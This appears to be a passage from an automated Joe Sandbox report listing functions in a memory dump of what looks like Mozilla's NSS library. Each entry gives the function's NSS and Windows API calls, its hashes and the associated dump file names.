Instruction ID: 56abbddbc12659cdf4d07303c1b7e841a607d337b7d8cd03445ecc79d7c10b89
Opcode Fuzzy Hash: 03eb99a4c4b2babbafaa7e5a8345eae3ca2697199484535f371186f2a7172cc6
Instruction Fuzzy Hash: 563148B1A0520257E7009A79AE8DA9B73B8AF6530CF040136EA19D7B03FF35D518D3E2

Function 6C706C50 Relevance: 6.1, APIs: 4, Instructions: 102memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C706C8D
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C706CA9
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6C706CC0
SEC_ASN1EncodeItem_Util.NSS3(?,00000000,?,6C828FE0), ref: 6C706CFE

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Util$Alloc_Arena$EncodeItem_memset
String ID:
API String ID: 2370200771-0
Opcode ID: b2c500e6563c5aaa55c3d74c2843a04c2b1880819d9ab8c088b3982e5c1b1007
Instruction ID: 00a368b289f08da3bcb8f152c4185e5c729c29dd27104a85c629bc6fffd401bc
Opcode Fuzzy Hash: b2c500e6563c5aaa55c3d74c2843a04c2b1880819d9ab8c088b3982e5c1b1007
Instruction Fuzzy Hash: 9F318EB1A002169FEB08CF65C995ABFBBF5EF85248B10443DDD05E7700EB31AA45CBA0

Function 6C814F00 Relevance: 6.1, APIs: 4, Instructions: 101fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,40000000,00000003,00000000,?,?,00000000), ref: 6C814F5D
free.MOZGLUE(?), ref: 6C814F74
free.MOZGLUE(?), ref: 6C814F82
GetLastError.KERNEL32 ref: 6C814F90

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: free$CreateErrorFileLast
String ID:
API String ID: 17951984-0
Opcode ID: c6baaaadddb1e1125e9e5f4dfdc33ead077202b80591fec23e00d6479125a6eb
Instruction ID: b66ea65f31ac5f80bb7be7deffb106159c1adda9a9ab2eb2bdaba2d30acd3df5
Opcode Fuzzy Hash: c6baaaadddb1e1125e9e5f4dfdc33ead077202b80591fec23e00d6479125a6eb
Instruction Fuzzy Hash: 493137B5A0420A4BEB11CB69DD81BDBB3F8EFC534CF040629E815A7B81D734E904CAA1

Function 6C776DE0 Relevance: 6.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

PR_MillisecondsToInterval.NSS3(?), ref: 6C776E36
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C776E57

Part of subcall function 6C7AC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C7AC2BF

PR_MillisecondsToInterval.NSS3(?), ref: 6C776E7D
PR_MillisecondsToInterval.NSS3(?), ref: 6C776EAA

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: IntervalMilliseconds$ErrorValue
String ID:
API String ID: 3163584228-0
Opcode ID: 81a58aa29b5ca475441338c4adfd497f4d78b0ae5f21fdd978ebea4fc9afff56
Instruction ID: 19f7109fec0b0072e1f7ee7962cf35497f23ead6397276746cfbe5e5d4193415
Opcode Fuzzy Hash: 81a58aa29b5ca475441338c4adfd497f4d78b0ae5f21fdd978ebea4fc9afff56
Instruction Fuzzy Hash: 8431D73161061AEFDF241F34DE08396B7A9BB0131AF14063CD499D6A49E7B0A654CFB2

Function 6C75DDE0 Relevance: 6.1, APIs: 4, Instructions: 86memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,00000000,00000000,?,?,6C75DDB1,?,00000000), ref: 6C75DDF4

Part of subcall function 6C7614C0: TlsGetValue.KERNEL32 ref: 6C7614E0
Part of subcall function 6C7614C0: EnterCriticalSection.KERNEL32 ref: 6C7614F5
Part of subcall function 6C7614C0: PR_Unlock.NSS3 ref: 6C76150D

PORT_ArenaAlloc_Util.NSS3(?,00000054,?,00000000,00000000,?,?,6C75DDB1,?,00000000), ref: 6C75DE0B
PORT_Alloc_Util.NSS3(00000054,?,00000000,00000000,?,?,6C75DDB1,?,00000000), ref: 6C75DE17

Part of subcall function 6C760BE0: malloc.MOZGLUE(6C758D2D,?,00000000,?), ref: 6C760BF8
Part of subcall function 6C760BE0: TlsGetValue.KERNEL32(6C758D2D,?,00000000,?), ref: 6C760C15

PR_SetError.NSS3(FFFFE009,00000000), ref: 6C75DE80

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Util$Alloc_ArenaValue$CriticalEnterErrorMark_SectionUnlockmalloc
String ID:
API String ID: 3725328900-0
Opcode ID: 76bed5ec1ed1856720d9d5efe1139b27b0a87fc8713e0c3613628c4c4c5f84ea
Instruction ID: 7900667c1a9f762ca8db5728f8ca856566827bf67b02eb81b8459551e299e76e
Opcode Fuzzy Hash: 76bed5ec1ed1856720d9d5efe1139b27b0a87fc8713e0c3613628c4c4c5f84ea
Instruction Fuzzy Hash: 8D31A4B1A017429BE700CF56DA84656F7A8BFB5318B64822AD81D87B01EB71E5A4CB90

Function 6C74FE20 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(6C725ADC,?,00000000,00000001,?,?,00000000,?,6C71BA55,?,?), ref: 6C74FE4B
EnterCriticalSection.KERNEL32(78831D90,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C74FE5F
PR_Unlock.NSS3(78831D74), ref: 6C74FEC2
PR_SetError.NSS3(00000000,00000000), ref: 6C74FED6

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: 5699c13ab5d34a91113d6a3572973895f64439e63e88454d1385217483bd2ef4
Instruction ID: 7fa31749689d1405fbef634e2510820edc43fa3ad320e8f8c6990b71d5506cf7
Opcode Fuzzy Hash: 5699c13ab5d34a91113d6a3572973895f64439e63e88454d1385217483bd2ef4
Instruction Fuzzy Hash: 1F213131E00226ABD751AE65DE08BAA73B8BF0535EF484134ED0467E42E331E864CBD1

Function 6C753F50 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

Part of subcall function 6C753440: PK11_GetAllTokens.NSS3 ref: 6C753481
Part of subcall function 6C753440: PR_SetError.NSS3(00000000,00000000), ref: 6C7534A3
Part of subcall function 6C753440: TlsGetValue.KERNEL32 ref: 6C75352E
Part of subcall function 6C753440: EnterCriticalSection.KERNEL32(?), ref: 6C753542
Part of subcall function 6C753440: PR_Unlock.NSS3(?), ref: 6C75355B

TlsGetValue.KERNEL32(?,00000000,00000000,00000000,?,6C73E80C,00000000,00000000,?,?,?,?,6C748C5B,-00000001), ref: 6C753FA1
EnterCriticalSection.KERNEL32(?,?,00000000,00000000,00000000,?,6C73E80C,00000000,00000000,?,?,?,?,6C748C5B,-00000001), ref: 6C753FBA
PR_Unlock.NSS3(?,00000000,00000000,00000000,?,6C73E80C,00000000,00000000,?,?,?,?,6C748C5B,-00000001), ref: 6C753FFE
PR_SetError.NSS3 ref: 6C75401A

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue$K11_Tokens
String ID:
API String ID: 3021504977-0
Opcode ID: a2854f534a6edb49ab61c74f8cfadc3c275af4b3cf28044f6086f02793ce42d9
Instruction ID: 0f60ae739c52aef5d0990487347056bfad92c67a1fe482d6cd0ca31ae2ea7c73
Opcode Fuzzy Hash: a2854f534a6edb49ab61c74f8cfadc3c275af4b3cf28044f6086f02793ce42d9
Instruction Fuzzy Hash: 713182709087048FD710AF69D68816AB7F0FF88358F51596DD88987B10EB31E895CB92

Function 6C744FB0 Relevance: 6.1, APIs: 4, Instructions: 75COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,00000000,?,6C74B60F,00000000), ref: 6C745003
EnterCriticalSection.KERNEL32(?,?,00000000,00000000,00000000,?,6C74B60F,00000000), ref: 6C74501C
PR_Unlock.NSS3(?,?,?,00000000,00000000,00000000,?,6C74B60F,00000000), ref: 6C74504B
free.MOZGLUE(?,00000000,00000000,00000000,?,6C74B60F,00000000), ref: 6C745064

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValuefree
String ID:
API String ID: 1112172411-0
Opcode ID: 29d8fae72be00c07125ec53fcf891da571a98a98a10259ff909fb3eb347269a5
Instruction ID: 5d3e0ccf91606a746cad4d550895313b6f708e398cad355626fd7ba7ae64c809
Opcode Fuzzy Hash: 29d8fae72be00c07125ec53fcf891da571a98a98a10259ff909fb3eb347269a5
Instruction Fuzzy Hash: 1F3127B4A056068FDB80EF78D58456ABBF4FF09308B158579D85997711E730E890CBD1

Function 6C769F80 Relevance: 6.1, APIs: 4, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,6C76A71A,FFFFFFFF,?,?), ref: 6C769FAB

Part of subcall function 6C7614C0: TlsGetValue.KERNEL32 ref: 6C7614E0
Part of subcall function 6C7614C0: EnterCriticalSection.KERNEL32 ref: 6C7614F5
Part of subcall function 6C7614C0: PR_Unlock.NSS3 ref: 6C76150D

PORT_ArenaGrow_Util.NSS3(?,?,?,00000000,6C76A71A,6C76A71A,00000000), ref: 6C769FD9

Part of subcall function 6C761340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6C70895A,00000000,?,00000000,?,00000000,?,00000000,?,6C6FF599,?,00000000), ref: 6C76136A
Part of subcall function 6C761340: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6C70895A,00000000,?,00000000,?,00000000,?,00000000,?,6C6FF599,?,00000000), ref: 6C76137E
Part of subcall function 6C761340: PL_ArenaGrow.NSS3(?,6C6FF599,?,00000000,?,6C70895A,00000000,?,00000000,?,00000000,?,00000000,?,6C6FF599,?), ref: 6C7613CF
Part of subcall function 6C761340: PR_Unlock.NSS3(?,?,6C70895A,00000000,?,00000000,?,00000000,?,00000000,?,6C6FF599,?,00000000), ref: 6C76145C

PORT_ArenaAlloc_Util.NSS3(?,00000008,6C76A71A,6C76A71A,00000000), ref: 6C76A009
PR_SetError.NSS3(FFFFE013,00000000,6C76A71A,6C76A71A,00000000), ref: 6C76A045

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Arena$Util$CriticalEnterSectionUnlockValue$Alloc_ErrorGrowGrow_Mark_
String ID:
API String ID: 3535121653-0
Opcode ID: 6d1ae70d6311bc2b933261b9cebe50cfeb7780cc980ad09fb36ff6f910e61e20
Instruction ID: dfe0672f5d9268ec018171f8365a97da83d3bd9c4148b6fef1a8cec6e336645b
Opcode Fuzzy Hash: 6d1ae70d6311bc2b933261b9cebe50cfeb7780cc980ad09fb36ff6f910e61e20
Instruction Fuzzy Hash: 9F21B0B4600216ABE7009F16DD44F66B7A9FB8136CF108138DC6987F81FB76E818CB90

Function 6C772DF0 Relevance: 6.1, APIs: 4, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C772E08

Part of subcall function 6C7614C0: TlsGetValue.KERNEL32 ref: 6C7614E0
Part of subcall function 6C7614C0: EnterCriticalSection.KERNEL32 ref: 6C7614F5
Part of subcall function 6C7614C0: PR_Unlock.NSS3 ref: 6C76150D

PORT_NewArena_Util.NSS3(00000400), ref: 6C772E1C
PORT_ArenaAlloc_Util.NSS3(00000000,00000064), ref: 6C772E3B
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C772E95

Part of subcall function 6C761200: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6C7088A4,00000000,00000000), ref: 6C761228
Part of subcall function 6C761200: EnterCriticalSection.KERNEL32(B8AC9BDF), ref: 6C761238
Part of subcall function 6C761200: PL_ClearArenaPool.NSS3(00000000,00000000,00000000,00000000,00000000,?,6C7088A4,00000000,00000000), ref: 6C76124B
Part of subcall function 6C761200: PR_CallOnce.NSS3(6C862AA4,6C7612D0,00000000,00000000,00000000,?,6C7088A4,00000000,00000000), ref: 6C76125D
Part of subcall function 6C761200: PL_FreeArenaPool.NSS3(00000000,00000000,00000000), ref: 6C76126F
Part of subcall function 6C761200: free.MOZGLUE(00000000,?,00000000,00000000), ref: 6C761280
Part of subcall function 6C761200: PR_Unlock.NSS3(00000000,?,?,00000000,00000000), ref: 6C76128E
Part of subcall function 6C761200: DeleteCriticalSection.KERNEL32(0000001C,?,?,?,00000000,00000000), ref: 6C76129A
Part of subcall function 6C761200: free.MOZGLUE(00000000,?,?,?,00000000,00000000), ref: 6C7612A1

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: ArenaUtil$CriticalSection$Arena_EnterFreePoolUnlockValuefree$Alloc_CallClearDeleteMark_Once
String ID:
API String ID: 1441289343-0
Opcode ID: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction ID: 5f42288251e9cbd0d7e6edb922e2e58cdc5a7b628e7aa61067f8e0d67881069a
Opcode Fuzzy Hash: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction Fuzzy Hash: 7D21D7B1E003498BEB10CF559E4CBAA37686F9130CF111279DD189B752F7F1E594C2A2

Function 6C741870 Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C7418A6
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,6C726C34,?,?,00000001,00000000,00000007,?), ref: 6C7418B6
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C726C34,?,?), ref: 6C7418E1
PR_SetError.NSS3(00000000,00000000), ref: 6C7418F9

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: 82a424cf6e35ce1ac1db0e0ca0bd57c94716e9a393c36c6d1cd85f7dafd30b9a
Instruction ID: 047d45aa5510e0c7a0765e3c2c749f42f1892295563c8669c51ef17dd39a4aaa
Opcode Fuzzy Hash: 82a424cf6e35ce1ac1db0e0ca0bd57c94716e9a393c36c6d1cd85f7dafd30b9a
Instruction Fuzzy Hash: 3D21CF71E002199BDB00AF68DC49AEA7B74BF0A318F444178ED0557702E735A928CBE1

Function 6C72ACB0 Relevance: 6.1, APIs: 4, Instructions: 66COMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6C72ACC2

Part of subcall function 6C702F00: PORT_NewArena_Util.NSS3(00000800), ref: 6C702F0A
Part of subcall function 6C702F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C702F1D

Part of subcall function 6C702AE0: PORT_Strdup_Util.NSS3(?,?,?,?,?,6C700A1B,00000000), ref: 6C702AF0
Part of subcall function 6C702AE0: tolower.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C702B11

CERT_DestroyCertList.NSS3(00000000), ref: 6C72AD5E

Part of subcall function 6C7457D0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,6C70B41E,00000000,00000000,?,00000000,?,6C70B41E,00000000,00000000,00000001,?), ref: 6C7457E0
Part of subcall function 6C7457D0: free.MOZGLUE(00000000,00000000,00000000,00000001,?), ref: 6C745843

CERT_DestroyCertList.NSS3(?), ref: 6C72AD36

Part of subcall function 6C702F50: CERT_DestroyCertificate.NSS3(?), ref: 6C702F65
Part of subcall function 6C702F50: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C702F83

free.MOZGLUE(?), ref: 6C72AD4F

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Util$CertDestroyList$Arena_free$Alloc_ArenaCertificateFreeK11_Strdup_Tokenstolower
String ID:
API String ID: 132756963-0
Opcode ID: ddddfa22a30ac31470ce1ea5c4929861c7aa0189b717c5cd17d969e0349ffccf
Instruction ID: 9520977ef3dcfdf1ad9803b8e3fd5775f442a46a7a3f5c03bb3438c4a6ac5e05
Opcode Fuzzy Hash: ddddfa22a30ac31470ce1ea5c4929861c7aa0189b717c5cd17d969e0349ffccf
Instruction Fuzzy Hash: B121C3B2D002148BEB10DF64EA0A5EEB7F4EF05258F454078D814BB700FB35AA49CBE1

Function 6C753C80 Relevance: 6.1, APIs: 4, Instructions: 65COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C753C9E
EnterCriticalSection.KERNEL32(?), ref: 6C753CAE
PR_Unlock.NSS3(?), ref: 6C753CEA
PR_SetError.NSS3(00000000,00000000), ref: 6C753D02

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: 528fea61e8485242f3efeb0b2a8c2e2485813f1db6f0953c6489138e326413bf
Instruction ID: db6035457992bd9ceb12707c770c8bcaf753f7160638dc5c48d2b8eb75df9f7d
Opcode Fuzzy Hash: 528fea61e8485242f3efeb0b2a8c2e2485813f1db6f0953c6489138e326413bf
Instruction Fuzzy Hash: 0811D379A00214AFDB40EF24DD49A9A3778EF09368F954570EC088B722EB31ED55CBE1

Function 6C75ECB0 Relevance: 6.1, APIs: 4, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,?,00000001,?,6C75F0AD,6C75F150,?,6C75F150,?,?,?), ref: 6C75ECBA

Part of subcall function 6C760FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C7087ED,00000800,6C6FEF74,00000000), ref: 6C761000
Part of subcall function 6C760FF0: PR_NewLock.NSS3(?,00000800,6C6FEF74,00000000), ref: 6C761016
Part of subcall function 6C760FF0: PL_InitArenaPool.NSS3(00000000,security,6C7087ED,00000008,?,00000800,6C6FEF74,00000000), ref: 6C76102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028,?,?,?), ref: 6C75ECD1

Part of subcall function 6C7610C0: TlsGetValue.KERNEL32(?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C7610F3
Part of subcall function 6C7610C0: EnterCriticalSection.KERNEL32(?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C76110C
Part of subcall function 6C7610C0: PL_ArenaAllocate.NSS3(?,?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C761141
Part of subcall function 6C7610C0: PR_Unlock.NSS3(?,?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C761182
Part of subcall function 6C7610C0: TlsGetValue.KERNEL32(?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C76119C

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C,?,?,?,?,?), ref: 6C75ED02

Part of subcall function 6C7610C0: PL_ArenaAllocate.NSS3(?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C76116E

PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?), ref: 6C75ED5A

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Arena$Util$Alloc_AllocateArena_Value$CriticalEnterFreeInitLockPoolSectionUnlockcalloc
String ID:
API String ID: 2957673229-0
Opcode ID: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction ID: a9c1e98a834629811c2e4f4e729b64d3cc58b314cf105c727ad75def7ea2292c
Opcode Fuzzy Hash: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
